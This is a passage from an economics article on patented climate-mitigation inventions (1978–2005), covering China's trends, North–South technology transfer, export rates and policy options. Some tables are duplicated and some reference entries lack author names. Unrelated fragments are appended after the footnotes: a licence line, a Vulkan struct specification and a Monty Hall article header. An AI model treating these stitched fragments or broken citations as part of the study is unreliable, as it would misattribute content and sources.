Climate-mitigation innovation (as a share of total innovation) in Kyoto-ratifying countries, United States, and China.
Source: Authors' calculations, based on PATSTAT data.
Note: Chinese patent data not available before 1985.
China also offers a very interesting case. Climate-mitigation innovation decreases until the mid-1990s, suggesting that during that time period priority was not given to climate-mitigation innovation. Climate-mitigation innovation begins to increase around the year 2000, which may reflect the implementation of domestic policies to address the country's worsening environmental problems. In particular, in 1998 the Ninth National People's Congress implemented an important reform of government administration, which included upgrading the State Environmental Protection Agency (SEPA) to ministerial status.
However, it is also possible that the increase in climate-mitigation innovation in China since 2000 has been a response to environmental and climate policies in Annex I countries. Consider, for example, the case of solar photovoltaic (PV) technology. China is now the industry leader in this area, with 27 percent of the world's production of cells and modules in 2007 (Jäger-Waldau 2008). This production is exported almost entirely to industrialized countries (e.g., Germany, Japan, and Spain) where various policies (such as feed-in tariffs, tax rebates, or investment subsidies) have boosted the demand for solar energy technologies.
A few other studies provide evidence that environmental regulation promotes innovation both domestically and abroad. For example, Lanjouw and Mody (1996) find evidence that strict U.S. regulations on vehicle emissions spurred innovation in Japan and Germany and that inventors in these countries responded more than inventors in the United States. Popp, Hafner, and Johnstone (2007) find that inventors of chlorine-free technology for the pulp and paper industry respond to both domestic and foreign environmental regulatory pressures.
## International Technology Transfer
This section reviews evidence concerning how technologies are diffused between countries and discusses trends in the international diffusion of climate-mitigation technologies.
### Technology Diffusion Channels
Before presenting statistics on the diffusion of climate-mitigation technologies, we briefly review how technology moves from one country to another. This is a central concept in the more general literature on the economics of technology diffusion, which identifies three channels of diffusion (see Keller 2004 for a good survey).
The first channel for diffusing technology is trade in goods. The idea that international trade is a significant channel for knowledge flows and R&D spillovers was first developed by Rivera-Batiz and Romer (1991). In their model, foreign R&D creates new intermediate goods with embodied technology that the home country can access through imports. There is empirical evidence that the importation of capital goods, such as machines and equipment, improves productivity. For example, Coe, Helpman, and Hoffmaister (1997) find that the share of machinery and equipment imports in Gross Domestic Product has a positive effect on the total factor productivity of developing countries. In their descriptive study, Lanjouw and Mody (1996) show that imported equipment is a major source of environmental technology for some countries.
The second channel of international technology diffusion is foreign direct investment (FDI). Several studies find evidence that multinational enterprises transfer firm-specific technology to their foreign affiliates (e.g., Lee and Mansfield 1996; Branstetter, Fisman, and Foley 2006). International companies might also generate local spillovers through labor turnover if local employees of the subsidiary move to domestic firms (see Fosfuri, Motta, and Rønde 2001). Local firms may also increase their productivity by observing nearby foreign firms or becoming their suppliers or customers (see, e.g., Ivarsson and Alvstam 2005; Girma, Gong, and Gorg 2009). Overall, the literature finds strong evidence that FDI is an important channel for technology diffusion.
The third channel of technology diffusion—and the most direct—is licensing. That is, a firm may license its technology to a company abroad that uses it to upgrade its own production. Data on royalty payments have been used mostly to analyze the impact of stricter patent protection on technology transfer (Smith 2001; Yang and Maskus 2001; Branstetter, Fisman, and Foley 2006).
### Empirical Evidence
Empirical studies suggest that firms rely on patent protection for technology transfer along all three channels discussed above—trade, FDI, and licensing—as such transfers raise a risk of leakage and imitation in recipient countries. Thus, patents can be used to measure direct international technology diffusion.
In our analysis, we define a transfer as a patent application filed by an inventor residing in a country that is different from the one in which protection is sought (e.g., a patent filed in the United States by an inventor working in Germany26). This indicates a transfer because patenting provides the exclusive right to commercially exploit the technology in the country where the patent is filed. As patenting is costly, the inventor requests protection because he/she plans to use the technology locally. This approach (i.e., using patents to measure direct technology diffusion) has also been used by Eaton and Kortum (1996, 1999) and Lanjouw and Mody (1996).27
The data indicate that during the 1990s, the number of climate-mitigation patents filed abroad increased at an average annual rate of 8 percent. However, this rapid growth is not unique to climate-mitigation technology; rather, it corresponds to a general increase in international technology transfers over the same period. Figure 3 shows the share of climate-mitigation transfers in total patent transfers between 1978 and 2005.
Figure 3
Transfers of climate-mitigation technologies as a share of total transfers.
Source: Authors' calculations, based on PATSTAT data.
Figure 3
Transfers of climate-mitigation technologies as a share of total transfers.
Source: Authors' calculations, based on PATSTAT data.
#### Technology Flows between OECD and Non-OECD Countries
What are the origins and destinations of these transfers? Table 3 presents the distribution of climate-mitigation technology flows between OECD and non-OECD countries from 2000 to 2005. As a benchmark, the table also displays (in parentheses) the origin and destination data for technology transfers overall. In both cases, technology is exchanged mostly between industrialized countries (about 77 percent of total transfers), while transfers between developing countries are almost nonexistent (1 percent of total transfers).
Table 3
Origin–destination matrix: distribution of exported climate-mitigation inventions from 2000 to 2005
Origin Destination OECD Non-OECD OECD 73% (77%) 22% (16%) Non-OECD 4% (6%) 1% (1%)
Origin Destination OECD Non-OECD OECD 73% (77%) 22% (16%) Non-OECD 4% (6%) 1% (1%)
Source: Authors’ calculations, based on PATSTAT data.
Note: Results for “all technologies” appear in parentheses.
Technology flows from OECD to non-OECD economies account for only 22 percent of all climate-mitigation transfers. This is, however, slightly higher than the share (16 percent) for all technologies. Climate-mitigation technology flows to non-OECD countries mostly concern fast-growing economies. In particular, China accounts for about three-quarters of the climate-mitigation transfers from OECD to non-OECD countries.
Our data show that the flows of climate-mitigation inventions from OECD to non-OECD economies have increased recently. Figure 4 indicates technology flows from OECD to non-OECD countries as a share of total transfers for climate and all technologies. There appears to be a decoupling of climate and all technologies around 1998. This mirrors the pattern in Figure 2, which shows that innovation in China also started to increase around 1998 and perhaps provides support for the argument that China's environmental policies had already encouraged domestic demand for climate-friendly technologies.
Figure 4
Technology flows from OECD to non-OECD countries (as a share of total flows), 1978–2005.
Source: Authors' calculations, based on PATSTAT data.
Figure 4
Technology flows from OECD to non-OECD countries (as a share of total flows), 1978–2005.
Source: Authors' calculations, based on PATSTAT data.
Figure 5
Patented CCS inventions worldwide (1978–2006).
Source: Authors' calculations, based on PATSTAT data.
Figure 5
Patented CCS inventions worldwide (1978–2006).
Source: Authors' calculations, based on PATSTAT data.
#### Rate of Export of Inventions
We use the export rate, defined as the share of inventions that are patented in more than one country, as an indicator of the level of international technology diffusion. For the 2000–2005 period, this rate is 17 percent for all technologies and slightly lower (15 percent) for climate-mitigation technologies. However, there are significant differences at the country level.
Table 4 presents the export performance for the top twelve inventor countries. Countries in Europe and North America are the world leaders in technology exports, with export rates ranging from 40 to 90 percent. This strong performance likely reflects the success of economic integration in the European Union and North American Free Trade Association areas, as many of the transfers occur between their member countries. In contrast, Korea, Japan, and Australia have had relatively poor export performance. This is especially striking in the case of Japan, which is the leader in climate-mitigation innovation but fails to diffuse its technology abroad. Similarly, Table 4 indicates that the strong innovation performance of China, Russia, and Brazil is not reflected in their export rates, again suggesting that the average value of inventions in emerging economies is low.
Table 4
Rate of export of inventions by inventor country (2000–2005)
Inventor country Rate of export of inventions (%) The Netherlands 89.9 United Kingdom 60.3 France 46.1 Germany 56.1 Canada 56.9 United States 42.3 Korea 24.5 Japan 21.7 Australia 15.8 China 6.8 Brazil 6.9
Inventor country Rate of export of inventions (%) The Netherlands 89.9 United Kingdom 60.3 France 46.1 Germany 56.1 Canada 56.9 United States 42.3 Korea 24.5 Japan 21.7 Australia 15.8 China 6.8 Brazil 6.9
Source: Authors’ calculations, based on PATSTAT data.
The data reveal that the export rate of patents also varies across technologies (see Table 5). The most widely diffused technologies are lighting, wind power, and electric and hybrid vehicles, with more than 30 percent of inventions transferred. In contrast, waste, biomass, and hydro are more localized, with less than 20 percent of inventions transferred. Interestingly, the propensity of a technology to be exported does not appear to be correlated with the share of inventions related to that technology that is developed by emerging economies, suggesting that technology-specific characteristics are the determining factor.
Table 5
Rate of export of inventions by technology (2000–2005)
Technology Export rate (%) Lighting 36.3 Wind 30.7 Electric and hybrid 29.8 Insulation 26.8 Heating 25.4 Solar 25.2 Marine 24.8 Cement 24.0 Geothermal 22.2 Hydro 19.9 Methane 18.9 Biomass 18.7 Waste 15.6
Technology Export rate (%) Lighting 36.3 Wind 30.7 Electric and hybrid 29.8 Insulation 26.8 Heating 25.4 Solar 25.2 Marine 24.8 Cement 24.0 Geothermal 22.2 Hydro 19.9 Methane 18.9 Biomass 18.7 Waste 15.6
Source: Authors’ calculations, based on PATSTAT data.
## Conclusions
We conclude with a summary of our findings and discussions of policy options for accelerating the transfer of climate-mitigation technologies to developing countries and directions for future research.
### Summary of Findings
This article has used the PATSTAT to examine the dynamics, distribution, and international transfer of patented inventions in thirteen climate-mitigation technology classes between 1978 and 2005. We find that innovation in climate change technologies is highly concentrated in Japan, Germany, and the United States (together accounting for 60 percent of total climate-mitigation innovations in our dataset) but that the innovation performance of certain emerging economies, particularly China and Russia, as well as South Korea, is far from being negligible. The data also suggest that innovation was driven mostly by energy prices until 1990. Since then, environmental policies and climate policies appear to have induced more innovation, with the pace of innovation accelerating since 2000.
The issue of international technology transfer is currently high on the political agenda. Our data indicate that historically international transfers of climate-mitigation technologies have occurred mostly between developed countries. However, there appears to be tremendous potential for North–South transfers, as well as South–South exchanges—particularly since these countries may have developed inventions that are better tailored to the needs of developing countries.
### Policies to Accelerate Technology Diffusion
How can the diffusion of climate-mitigation technologies to developing countries be encouraged and accelerated? Our data do not allow us to assess the potential impact of different policy tools. However, the more general literature on the economics of technology diffusion offers some interesting insights.
Regulation is one obvious policy instrument that can be used to foster the creation of markets for environmentally sound technologies and provide an incentive for firms to acquire new technologies. Since historically industrialized countries have more advanced environmental and climate regulations, it is not surprising that they have also attracted more technology transfer. It has been established, for example, that strict vehicle emission regulations in the United States led to the transfer of technology from Japan and Germany to the United States (Lanjouw and Mody 1996) and, similarly, that the adoption of tighter regulations in the pulp and paper industry in Finland and Sweden triggered an increase in patent applications on chlorine-free technology filed by U.S. inventors in these countries (Popp, Hafner, and Johnstone 2007). Our data suggest that more recently, domestic regulation in China may have spurred technology flows into the country.
However, the lack of strict environmental and climate legislation in developing countries is clearly not the only explanation for the lower rates of climate-mitigation technology transfer to these countries, as our data indicate a similar pattern of low diffusion for all technologies. More general factors such as trade openness, the IPR system, and local absorptive capacities (e.g., human capital) also help explain why technology diffusion is concentrated in industrialized countries.
Since technology transfers take place through market channels such as trade, FDI, or licenses, they occur more frequently in open economies (Saggi 2002; Hoekman, Maskus, and Saggi 2005). Lowering barriers to trade and FDI is thus a way to foster technology transfers. Duke, Jacobson, and Kammen (2002) show, for example, that the reduction of tariffs on solar modules in Kenya increased imports of PV systems. Foreign investment also responds to a healthy business environment that includes adequate governance and economic institutions (Maskus 2004).
Whether a stronger IPR regime can foster the transfer of climate-mitigation technology to developing countries is a controversial issue.28 As IPR confer legal exclusivity, they may reduce competition and raise price barriers to technology transfer in developing countries. However, several case studies suggest that IPR does not eliminate competition in markets for environmental technologies. Barton (2007) finds that patent issues are unlikely to be a barrier for the transfer of solar PV, wind power, and biofuel technologies in emerging economies. Similarly, Ockwell et al. (2008) show that IPR is not the main barrier to the transfer of integrated gasification combined cycle—the most efficient coal power technology—to India.
On the contrary, empirical evidence suggests that effective patent protection is a means to promote technology transfer toward developing countries when foreign technology providers face the threat of imitation by local competitors (Maskus 2000; Smith 2001; Hoekman, Maskus, and Saggi 2005; Mancusi 2008; Parello 2008). Along the same lines, stronger patent protection encourages the use of FDI and licenses, which induces technology transfer that goes beyond the mere export of equipment or goods (Smith 2001).
Since the positive effect of IPR depends on the threat of local imitation, it mostly concerns those recipient countries that already have technology capabilities, such as emerging economies. More generally, there is strong evidence that countries need absorptive capacities in order to successfully adopt foreign technology (Keller 1996). The higher the level of domestic human capital, the higher the level of foreign technology transfer (Eaton and Kortum 1996), as well as local spillovers from trade and FDI (Borensztein, De Gregório, and Lee 1998). By contrast, low absorptive capacities mean shortages of skilled technical personnel, a lack of information on available technologies, and high transaction costs (Worrell et al. 1997; Metz et al. 2000). This highlights the importance of long-term education and capacity building policies and programs in promoting North–South technology transfer.
### Directions for Future Research
The research presented in this article has been mostly descriptive and does not examine in detail or seek to explain the drivers of innovation and technology transfer. Clearly an important area for future research would be to complement this descriptive study with econometric analyses of climate-mitigation technology innovation and diffusion worldwide.
The authors are grateful to two anonymous referees and Suzanne Leonard for helpful comments and suggestions. Technical input from Hélène Dernis (OECD Directorate for Science, Technology and Industry) and Dominique Guellec (OECD Statistics Directorate) and the financial support of the Agence Française de Développement are also gratefully acknowledged. The views expressed here are the authors’ own and do not necessarily reflect those of the OECD or its member countries. A previous version of this article circulated under the title “Invention and Transfer of Climate Change Mitigation Technologies on a Global Scale: A Study Drawing on Patent Data.”
### Description of technology fields included in the study
Technology field Description Biomass Solid fuels based on materials of nonmineral origin (i.e., animal or plant); engines operating on such fuels (e.g., wood) Insulation Elements or materials used for heat insulation; double-glazed windows Heating Heat pumps, central heating systems using heat pumps; energy recovery systems in air conditioning CCS Extraction, transportation, storage, and sequestration of CO2 Cement Natural pozzuolana cements; cements containing slag; iron ore cements; cements from oil shales, residues, or waste; calcium sulfate cements Electric vehicles Electric propulsion of vehicles; regenerative braking; batteries; control systems specially adapted for hybrid vehicles Geothermal Use of geothermal heat; devices for producing mechanical power from geothermal energy Hydro Hydropower stations; hydraulic turbines; submerged units incorporating electric generators; devices for controlling hydraulic turbines Lighting Compact fluorescent lamps; electroluminescent light sources Methane Equipment for anaerobic treatment of sludge; biological treatment of wastewater or sewage; anaerobic digestion processes; apparatus aiming at collecting fermentation gases Marine Tide or wave power plants; mechanisms using ocean thermal energy conversion; water wheels Solar Solar photovoltaic (conversion of light radiation into electrical energy), including solar panels; concentrating solar power (solar heat collectors having lenses or reflectors as concentrating elements); solar heat (use of solar heat for heating and cooling) Waste Solid fuels based on industrial residues or waste materials; recovery of heat from waste incineration; production of energy from waste or waste gases; recovery of waste heat from exhaust gases Wind Wind motors; devices aimed at controlling such motors
Technology field Description Biomass Solid fuels based on materials of nonmineral origin (i.e., animal or plant); engines operating on such fuels (e.g., wood) Insulation Elements or materials used for heat insulation; double-glazed windows Heating Heat pumps, central heating systems using heat pumps; energy recovery systems in air conditioning CCS Extraction, transportation, storage, and sequestration of CO2 Cement Natural pozzuolana cements; cements containing slag; iron ore cements; cements from oil shales, residues, or waste; calcium sulfate cements Electric vehicles Electric propulsion of vehicles; regenerative braking; batteries; control systems specially adapted for hybrid vehicles Geothermal Use of geothermal heat; devices for producing mechanical power from geothermal energy Hydro Hydropower stations; hydraulic turbines; submerged units incorporating electric generators; devices for controlling hydraulic turbines Lighting Compact fluorescent lamps; electroluminescent light sources Methane Equipment for anaerobic treatment of sludge; biological treatment of wastewater or sewage; anaerobic digestion processes; apparatus aiming at collecting fermentation gases Marine Tide or wave power plants; mechanisms using ocean thermal energy conversion; water wheels Solar Solar photovoltaic (conversion of light radiation into electrical energy), including solar panels; concentrating solar power (solar heat collectors having lenses or reflectors as concentrating elements); solar heat (use of solar heat for heating and cooling) Waste Solid fuels based on industrial residues or waste materials; recovery of heat from waste incineration; production of energy from waste or waste gases; recovery of waste heat from exhaust gases Wind Wind motors; devices aimed at controlling such motors
### Invention and diffusion of CCS technologies
The CCS data are presented in this appendix because this dataset was constructed in a different way than the other datasets. More specifically, in collaboration with patent examiners from the EPO, the CCS data were assembled through a search of the EPO’s DOCDB database using keyword searches and a variety of different internal patent classification systems (see Haščič et al. 2010). While this creates a language bias, IPC searches in PATSTAT could not reliably identify the relevant documents.29
The CCS technology is still at an early stage of development. Thus, the volume of patenting activity in this field is quite low compared to other climate-mitigation technologies. As shown in Figure 5, between 1978 and 1996 less than one hundred CCS inventions were patented worldwide annually. However, the innovation trend accelerated sharply in 1997, r eflecting a new interest in this technology. Since then, the average annual growth rate of innovation has been about 20 percent, twice the rate of the 1978–1996 period.
The average export rate of CCS inventions was 20.5 percent from 2000 to 2006, significantly above the rate for other climate-mitigation technologies (15 percent), suggesting a higher quality of patented inventions, which is consistent with an early stage of technology development.
The United States is by far the leading CCS inventor country, with about half of global inventions between 2000 and 2005 and one-third of exported inventions. Japan is second, with 11% of global inventions, followed closely by Canada (7 percent), Germany (6 percent), and the Netherlands and France (5 percent each). With 4 percent of total CCS inventions, China's share is roughly equivalent to that of a large European country.
### Main patent offices and patent breadth coefficients
Patent office Patent breadth coefficient Japan 0.72 Taiwan 0.74 Australia 0.80 South Korea 0.82 Russia 0.90 China 0.91 India 0.93 Mexico 0.93 Canada 0.94 Denmark 0.94 United Kingdom 0.94 United States 0.97 Switzerland 0.98 Austria 0.99 France 0.99 EPO 1 Belgium 1.02 Italy 1.08 Luxembourg 1.14 Germany 1.15
Patent office Patent breadth coefficient Japan 0.72 Taiwan 0.74 Australia 0.80 South Korea 0.82 Russia 0.90 China 0.91 India 0.93 Mexico 0.93 Canada 0.94 Denmark 0.94 United Kingdom 0.94 United States 0.97 Switzerland 0.98 Austria 0.99 France 0.99 EPO 1 Belgium 1.02 Italy 1.08 Luxembourg 1.14 Germany 1.15
Source: Authors’ calculations, based on PATSTAT data.
## References
Ahman
A
Government policy and the development of electric vehicles in Japan
Energy Policy
,
2006
, vol.
34
(pg.
433
-
43
)
Barton
J
Intellectual property and access to clean energy technologies in developing countries. An analysis of solar photovoltaic, biofuel, and wind technologies
,
2007
ICTSD Programme on Trade and Environment, Issue Paper No. 2
Borensztein
E
De Gregório
J
Lee
J-W
How does foreign direct investment affect economic growth?
Journal of International Economics
,
1998
, vol.
45
(pg.
115
-
35
)
Branstetter
LG
Fisman
R
Foley
CF
Do stricter intellectual property rights increase international technology transfers? Empirical evidence from U.S. firm-level panel data
Quarterly Journal of Economics
,
2006
, vol.
121
1
(pg.
321
-
49
)
Coe
DT
Helpman
E
Hoffmaister
AW
North–South R&D spillovers
Economic Journal
,
1997
, vol.
107
440
(pg.
131
-
49
)
Cohen
WM
Nelson
RR
Walsh
JP
Protecting their intellectual assets: Appropriability conditions and why U.S. manufacturing firms patent (or not)
,
2000
NBER Working Paper No. 7552
Dernis
H
Guellec
D
van Pottelsberghe de la Potterie
B
Using patent counts for cross-country comparisons of technology output
The STI Review 27
,
2001
129–46
Duke
R
Jacobson
A
Kammen
D
Photovoltaic module quality in the Kenyan solar home systems market
Energy Policy
,
2002
, vol.
30
(pg.
477
-
99
)
Eaton
J
Kortum
S
Trade in ideas patenting and productivity in the OECD
Journal of International Economics
,
1996
, vol.
40
3–4
(pg.
251
-
78
)
———
International technology diffusion: Theory and measurement
International Economic Review
,
1999
, vol.
40
3
(pg.
537
-
70
)
Enkvist
P-A
Nauclér
T
Rosander
J
A cost curve for greenhouse gas reduction
The McKinsey Quarterly
,
2007
, vol.
1
(pg.
35
-
45
)
Fosfuri
Andrea
Motta
Massimo
Rønde
Thomas
Foreign direct investment and spillovers through workers’ mobility
Journal of International Economics
,
2001
, vol.
53
(pg.
205
-
22
)
Frietsch
R
Schmoch
U
Schmoch
U
Rammer
C
Legler
H
Technological structures and performance as reflected by patent indicators
National systems of innovation in comparison: Structure and performance indicators for knowledge societies, ed. U. Schmoch, C. Rammer and H. Legler
,
2006
Dordrecht, The Netherlands
Springer
Girma
S
Gong
Y
Gorg
H
What determines innovation activity in Chinese state-owned enterprises? The role of foreign direct investment
World Development
,
2009
, vol.
37
4
(pg.
866
-
73
)
Griliches
Z
Patent statistics as economic indicators: A survey
Journal of Economic Literature
,
1990
, vol.
28
4
(pg.
1661
-
707
)
Harhoff
D
Scherer
F
Vopel
K
Citations, family size, opposition and the value of patent rights
Research Policy
,
2003
, vol.
32
(pg.
1343
-
63
)
Haščič
I
Johnstone
N
Watson
F
Kaminker
C
Climate policy and technological innovation and transfer: An overview of trends and recent empirical results
,
2010
OECD Environment Working Paper No. 30
www.oecd.org/environment/innovation. (accessed March 10, 2011)
Helfgott
S
Patent filing costs around the world
Journal of the Patent and Trademark Office Society
,
1993
, vol.
75
(pg.
567
-
80
)
Hoekman
BM
KE
Saggi
K
Transfer of technology to developing countries: Unilateral and multilateral policy options
World Development
,
2005
, vol.
33
10
(pg.
1587
-
602
)
I
Alvstam
C-G
The effect of spatial proximity on technology transfer from TNCs to local suppliers in developing countries: The case of AB Volvo's truck and bus plants in Brazil, China, India and Mexico
Economic Geography
,
2005
, vol.
81
1
(pg.
83
-
111
)
Jaffe
AB
Tratjenberg
M
Henderson
R
Geographic localization of knowledge spillovers as evidenced by patent citations
Quarterly Journal of Economics
,
1993
, vol.
108
3
(pg.
577
-
98
)
Jäger-Waldau
A
PV Status Report 2008
,
2008
Ispra, Italy
Joint Research Center, European Commission
Johnstone
N
Haščič
I
Popp
D
Renewable energy policies and technological innovation: Evidence based on patent counts
Environmental and Resource Economics
,
2010
, vol.
45
1
(pg.
133
-
55
)
Keller
Wolfgang
Absorptive capacity: On the creation and acquisition of technology in development
Journal of Development Economics
,
1996
, vol.
49
(pg.
199
-
227
)
———
International technology diffusion
Journal of Economic Literature
,
2004
, vol.
42
3
(pg.
752
-
82
)
Lanjouw
JO
Mody
A
Innovation and the international diffusion of environmentally responsive technology
Research Policy
,
1996
, vol.
25
(pg.
549
-
71
)
Lanjouw
JO
Pakes
A
Putnam
J
How to count patents and value intellectual property: The uses of patent renewal and application data
Journal of Industrial Economics
,
1998
, vol.
46
4
(pg.
405
-
32
)
Lazarus
M
Kartha
S
Lier le développement technologique et les engagements en matière d’émissions: recheche de mesures de résultats et d'efforts Rapport à l'ADEME
2007
Stockholm Environment Institute
Lee
J-Y
Mansfield
E
Intellectual property protection and U.S. foreign direct investment
Review of Economics and Statistics
,
1996
, vol.
78
(pg.
181
-
5
)
Mancusi
M
International spillovers and absorptive capacity: A cross-country cross-sector analysis based on patents and citations
Journal of International Economics
,
2008
, vol.
76
2
(pg.
155
-
65
)
———
Intellectual property rights in the global economy
,
2000
Washington, DC
Institute for International Economics
———
Encouraging international technology transfer, UNCTAD/ICTSD project on intellectual property rights and sustainable development
Issue Paper No. 7
,
2004
Geneva, Switzerland
International Center for Sustainable Development
KE
Differentiated intellectual property regimes for environmental and climate technologies
OECD Environment Directorate Working Paper No. 17
,
2010
http://www.oecd.org/env/workingpapers (accessed March 10, 2011)
Metz
B
Davidson
O
Martens
J-W
van Rooijen
S
Van Wie McGrory
L
Methodological and technological issues in technology transfer
,
2000
IPCC Special Reports on Climate Change
Newell
RG
Jaffe
AB
Stavins
RN
The induced innovation hypothesis and energy-saving technological change
Quarterly Journal of Economics
,
1999
, vol.
114
(pg.
941
-
75
)
Ockwell
DG
Watson
J
MacKerron
G
Pal
P
Yamin
F
Key policy considerations for facilitating low carbon technology transfer to developing countries
Energy Policy
,
2008
, vol.
36
(pg.
4104
-
15
)
OECD
Environmental policy, technological innovation and patents
,
2008
Paris, France
OECD
———
Main science and technology indicators
,
2008
Paris, France
OECD
Parello
C
A North–South model of intellectual property rights protection and skill accumulation
Journal of Development Economics
,
2008
, vol.
85
(pg.
253
-
81
)
Peri
G
Determinants of knowledge flows and their effect on innovation
Review of Economics and Statistics
,
2005
, vol.
87
2
(pg.
308
-
22
)
Popp
D
Induced innovation and energy prices
American Economic Review
,
2002
, vol.
92
1
(pg.
160
-
80
)
———
International innovation and diffusion of air pollution control technologies: The effects of NOX and SO2 regulation in the U.S., Japan, and Germany
Journal of Environmental Economics and Management
,
2006
, vol.
51
(pg.
46
-
71
)
———
2011. International technology transfer, climate change, and the clean development mechanism
Review of Environmental Economics and Policy
10.1093/reep/req018
Popp
D
Hafner
T
Johnstone
N
Policy vs. consumer pressure: Innovation and diffusion of alternative bleaching technologies in the pulp industry
,
2007
NBER Working Paper No. 13439
Rivera-Batiz
Luis
Romer
Paul
Economic integration and endogenous growth
Quarterly Journal of Economics
,
1991
, vol.
106
2
(pg.
531
-
55
)
Roland
Berger
Study on the cost of patenting in Europe
,
2005
Prepared on behalf of the EPO by Roland Berger Market Research (available on the EPO website)
Saggi
K
Trade, foreign direct investment, and international technology transfer: A survey
World Bank Research Observer
,
2002
, vol.
vol. 17
2
(pg.
191
-
235
)
Smith
PJ
How do foreign patent rights affect U.S. exports, affiliate sales, and licenses?
Journal of International Economics
,
2001
, vol.
55
(pg.
411
-
39
)
Thompson
P
Fox-Kean
M
Patent citations and the geography of knowledge spillovers: A reassessment
American Economic Review
,
2005
, vol.
95
1
(pg.
450
-
60
)
Worrell
E
Levine
M
Price
L
Martin
N
Van Den Broek
R
Blok
K
Potentials and policy implications of energy and material efficiency improvement
1997
New York
United Nations Division for Sustainable Development
Yang
Guifang
Keith E
Intellectual property rights and licensing: An econometric investigation
Weltwirtschaftliches Archiv
,
2001
, vol.
137
(pg.
58
-
79
)
1
Participants at the 2007 United Nations Climate Change Conference in Bali developed a road map, known as the Bali Road Map, for negotiating a new climate agreement by the end of 2009.
2
The countries referred to as “developing countries” are in fact quite heterogeneous. Thus, when appropriate, we will distinguish between emerging economies (e.g., China, Brazil, Indonesia) and less-developed countries.
3
See Maskus (2010) for a discussion.
4
The other article, Popp (2011), reviews the economics literature concerning the transfer of environmentally friendly technologies and discusses the implications for climate policy, focusing in particular on the Clean Development Mechanism.
5
Throughout the article, the terms innovation and invention are used interchangeably.
6
It is these unique features of patent data that make our study climate-mitigation technologies possible.
7
Accordingly, the first patent is called the priority application and the first patent office is referred to as the priority office.
8
See Helfgott (1993) and Roland (2005) for information about the cost of applications at the EPO.
9
The other taskforce members include the EPO, the Japan Patent Office (JPO), the United States Patent and Trademark Office, the WIPO, the National Science Foundation, Eurostat, and the European Commission Directorate-General for Research.
10
A more detailed description of the technology fields covered by the study can be found in Appendix 1.
11
We also considered a fourteenth technology, carbon capture and storage (CCS). However, the CCS technology is not yet included in the international patent classifications system. Thus, we have used a specific search algorithm to identify CCS patent applications. The results for CCS are presented separately in Appendix 2.
12
Some previous studies have related patent classes to industrial sectors using a concordance table matching IPC classes with the International Standard Industrial Classification system. This approach has two weaknesses. First, if the industry of origin of a patent differs from the industry of use, then it is not clear to which industrial sector a patent should be attributed. Second, the use of sectoral classifications (and commodity classifications) will result in a bias toward including patent applications from sectors that produce explicitly “environmental” goods and services rather than more integrated innovations. See OECD (2008b) for a full discussion of the relative merits of the approach adopted in the current study.
13
The IPC system can be searched at http://www.wipo.int/tacsy/.
14
15
The descriptions of the IPC codes used to build the dataset can be found in the online supplementary materials for this article. See http://www.reep.oxfordjournals.org.
16
Patents with multiple inventors are counted fractionally. For example, if two inventor countries are involved in an invention, then each country is counted as one-half.
17
Note that this is a much lower ratio than others have obtained using “claims” rather than patents as the unit of analysis.
18
The EPO-equivalent country weights (coefficients) for various patent offices are presented in Appendix 3.
19
Recall that in this study an invention corresponds to a patent family. Hence, a patent filed in several countries is counted only once.
20
The aggregate country shares were calculated as the mean of the percentage shares for the individual technological fields. The number of patent applications identified in each of the fields is affected by the exhaustiveness of the patent search strategy, which varies across the different technologies. The intention of this approach is to avoid aggregation across a possibly heterogeneous set of climate change–mitigation technologies.
21
The EU15 consisted of those countries that were members of the European Union as of 2004: Austria, Belgium, Denmark, Finland, France, Germany, Greece, Ireland, Italy, Luxembourg, the Netherlands, Portugal, Spain, Sweden, and the United Kingdom.
22
Patent citations are used extensively in the existing literature as a measure of patent quality (see Popp 2002). Unfortunately, there is no suitable source of citation data that can be used in conjunction with PATSTAT for the wide cross-section of countries in our study.
23
This also suggests that emerging economies do not export many inventions. We discuss diffusion issues in the next section.
24
While the correlation coefficient between innovation and oil prices is 0.87 from 1978 to 1990, it is only 0.61 after 1990.
25
Industrialized countries and economies in transition are listed in Annex I of the United Nations Framework Convention on Climate Change. Annex I countries that have ratified the Kyoto Protocol (to this date, all Annex I countries except the United States) have committed to reducing their GHG emissions.
26
We use information on the inventor's country of residence, irrespective of his nationality, to determine where inventions are developed.
27
Another strand of the literature relies on patents as an indicator for international technology spillovers, that is, diffusion that occurs outside the market. This literature uses patent citations (which include information about the location of the inventor) to shed light on the international diffusion of technical knowledge. See the seminal paper by Jaffe, Trajtenberg, and Henderson (1993).
28
The controversy has mainly revolved around the agreement on trade-related aspects of intellectual property right (TRIPS) that was negotiated in 1994, at the end of the Uruguay Round of the General Agreement on Tariffs and Trade. The TRIPS agreement establishes minimum standards for intellectual property and is aimed at encouraging developing countries to strengthen their IPR regimes.
29
This is because CCS technology is not easily identifiable using the IPC scheme. As discussed in the data section of this article, in preparing this dataset no effort has been made to correct for differences in patent breadth and other patent office-specific factors.
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# 5: Interference
This page titled 5: Interference is shared under a CC BY 4.0 license and was authored, remixed, and/or curated by Jenkins-Smith et al. (University of Oklahoma Libraries) via source content that was edited to the style and standards of the LibreTexts platform; a detailed edit history is available upon request.
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## C Specification
The VkPhysicalDeviceDriverProperties structure is defined as:
// Provided by VK_VERSION_1_2
typedef struct VkPhysicalDeviceDriverProperties {
VkStructureType sType;
void* pNext;
VkDriverId driverID;
char driverName[VK_MAX_DRIVER_NAME_SIZE];
char driverInfo[VK_MAX_DRIVER_INFO_SIZE];
VkConformanceVersion conformanceVersion;
} VkPhysicalDeviceDriverProperties;
or the equivalent
// Provided by VK_KHR_driver_properties
typedef VkPhysicalDeviceDriverProperties VkPhysicalDeviceDriverPropertiesKHR;
## Members
• sType is the type of this structure.
• pNext is NULL or a pointer to a structure extending this structure.
## Description
• driverID is a unique identifier for the driver of the physical device.
• driverName is an array of VK_MAX_DRIVER_NAME_SIZE char containing a null-terminated UTF-8 string which is the name of the driver.
• driverInfo is an array of VK_MAX_DRIVER_INFO_SIZE char containing a null-terminated UTF-8 string with additional information about the driver.
• conformanceVersion is the version of the Vulkan conformance test this driver is conformant against (see VkConformanceVersion).
If the VkPhysicalDeviceDriverProperties structure is included in the pNext chain of the VkPhysicalDeviceProperties2 structure passed to vkGetPhysicalDeviceProperties2, it is filled in with each corresponding implementation-dependent property.
These are properties of the driver corresponding to a physical device.
driverID must be immutable for a given driver across instances, processes, driver versions, and system reboots.
Valid Usage (Implicit)
• VUID-VkPhysicalDeviceDriverProperties-sType-sType
sType must be VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_DRIVER_PROPERTIES
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The Monty Hall Problem
### New Book Reviews!
The Monty Hall Problem
Written by Mike James
Thursday, 06 March 2014
Article Index
The Monty Hall Problem
Applying the logic
## Just three doors
